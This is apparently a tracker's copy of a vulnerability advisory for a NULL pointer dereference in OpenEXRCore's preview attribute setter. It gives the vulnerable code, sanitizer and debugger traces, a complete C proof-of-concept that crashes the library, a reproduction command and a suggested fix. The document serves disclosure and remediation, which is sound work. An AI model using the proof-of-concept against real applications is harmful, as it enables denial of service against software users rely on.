GHSA-29q6-4p2c-77qq on CTRL-OS 26.05
Aliases: GHSA-29q6-4p2c-77qq
Packages: openexr
Status: Plausible
Advisory Information
Summary
OpenEXRCore has a NULL pointer dereference in
exr_attr_set_preview()when a caller supplies a nonzero preview size withrgba == NULL.The public setter validates the top-level
exr_attr_preview_t *value, but it does not validate the nestedrgbapointer. Whenwidth * height * 4is nonzero,exr_attr_preview_create()allocates the destination preview buffer and then callsmemcpy()with the caller-providedrgbapointer as the source.This is reachable through the public OpenEXRCore C API and causes a deterministic crash / denial of service. I have not confirmed RCE or direct trigger from a crafted EXR file through the standard file loading path.
Details
Affected code:
src/lib/OpenEXRCore/part_attr.c src/lib/OpenEXRCore/preview.cThe public setter checks only the top-level preview pointer:
exr_result_t exr_attr_set_preview ( exr_context_t ctxt, int part_index, const char* name, const exr_attr_preview_t* val) { ... if (!val) return EXR_UNLOCK_AND_RETURN (ctxt->print_error (...)); ... if (rv == EXR_ERR_SUCCESS) rv = exr_attr_preview_create ( ctxt, attr->preview, val->width, val->height, val->rgba); }Location on tested
main:src/lib/OpenEXRCore/part_attr.c:1876-1918The nested pointer is later copied without a NULL check:
exr_result_t exr_attr_preview_create ( exr_context_t ctxt, exr_attr_preview_t* p, uint32_t w, uint32_t h, const uint8_t* d) { exr_result_t rv = exr_attr_preview_init (ctxt, p, w, h); if (rv == EXR_ERR_SUCCESS) { size_t copybytes = w * h * 4; if (copybytes > 0) memcpy (EXR_CONST_CAST (uint8_t*, p->rgba), d, copybytes); } return rv; }Location on tested
main:src/lib/OpenEXRCore/preview.c:55-70Triggering state from the PoC:
preview.width = 1 preview.height = 1 preview.alloc_size = 0 preview.rgba = NULL copybytes = 1 * 1 * 4 = 4Because
copybytes > 0,exr_attr_preview_create()calls:memcpy(destination, NULL, 4);Observed ASAN/UBSAN output on latest
maincommitb25f9dc9af78d662eb45969e9e1cd395082d1f13:src/lib/OpenEXRCore/preview.c:67:57: runtime error: null pointer passed as argument 2, which is declared to never be null #0 exr_attr_preview_create src/lib/OpenEXRCore/preview.c:67:13 #1 exr_attr_set_preview src/lib/OpenEXRCore/part_attr.c #2 main afl-findings/poc/poc_core_preview_null_rgba.c:40:12Observed GDB stack on the same commit with UBSAN recovery enabled:
Program received signal SIGSEGV, Segmentation fault. __memcpy_avx_unaligned_erms_rtm() #0 __memcpy_avx_unaligned_erms_rtm() #1 __asan_memcpy() #2 exr_attr_preview_create( ctxt=0x516000000080, p=<optimized out>, w=<optimized out>, h=<optimized out>, d=0x0) at src/lib/OpenEXRCore/preview.c:67 #3 exr_attr_set_preview(...) at src/lib/OpenEXRCore/part_attr.c:1957 #4 main() at afl-findings/poc/poc_core_preview_null_rgba.c:40The same vulnerable source pattern is present in at least:
v3.2.9 v3.3.11 v3.4.12 current main: b25f9dc9af78d662eb45969e9e1cd395082d1f13PoC
Minimal C reproducer:
#include <openexr.h> #include <stdint.h> #include <unistd.h> static void ignore_error (exr_const_context_t ctxt, exr_result_t code, const char* msg) { (void) ctxt; (void) code; (void) msg; } int main (void) { exr_context_t ctxt = NULL; exr_context_initializer_t init = EXR_DEFAULT_CONTEXT_INITIALIZER; int part = -1; const char* path = "/tmp/openexr_core_preview_null_rgba.exr"; init.error_handler_fn = ignore_error; if (exr_start_write (&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &init) != EXR_ERR_SUCCESS) return 1; if (exr_add_part (ctxt, "p", EXR_STORAGE_SCANLINE, &part) != EXR_ERR_SUCCESS) return 1; exr_attr_preview_t preview; preview.width = 1; preview.height = 1; preview.alloc_size = 0; preview.rgba = NULL; (void) exr_attr_set_preview (ctxt, part, "badPreview", &preview); (void) exr_finish (&ctxt); unlink (path); return 0; }Reproduction command on the latest-main validation build:
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \ UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_stacktrace=1 \ /root/openexr_latest_check/openexr-main/latest-check/bin/poc_core_preview_null_rgbaExpected result:
runtime error: null pointer passed as argument 2 SUMMARY: UndefinedBehaviorSanitizer: undefined-behaviorWith UBSAN recovery enabled, the same PoC continues to the actual crash:
ERROR: AddressSanitizer: SEGV SUMMARY: AddressSanitizer: SEGV in __memcpy_avx_unaligned_erms_rtmSaved evidence:
evidence/afl-findings/poc/poc_core_preview_null_rgba.c evidence/afl-findings/poc/poc_core_preview_null_rgba.san.out evidence/afl-findings/poc/poc_core_preview_null_rgba.recover.out evidence/latest-main-check/logs/poc_core_preview_null_rgba.run.out evidence/latest-main-check/logs/poc_core_preview_null_rgba.gdb_latest_main.txtImpact
This is a public C API NULL pointer dereference / crash in OpenEXRCore.
Applications that call
exr_attr_set_preview()with untrusted or insufficiently validated preview attribute data can be crashed by a preview with nonzero dimensions andrgba == NULL.Confirmed impact:
availability loss process crash public C API denial of serviceNot confirmed:
remote code execution information disclosure memory corruption beyond the NULL-source crash direct crafted .exr file trigger through the standard reader pathSuggested severity:
ModerateSuggested CWE:
CWE-476: NULL Pointer Dereference CWE-20: Improper Input ValidationSuggested fix:
Reject
rgba == NULLwheneverwidth * height * 4 > 0before callingexr_attr_preview_create()ormemcpy().
Updates
2026-08-11 03:51 CEST
Metadata changes:
- Status for package
openexr: “Plausible”
2026-08-11 03:30 CEST
Metadata changes:
- Status for package
openexr: “New”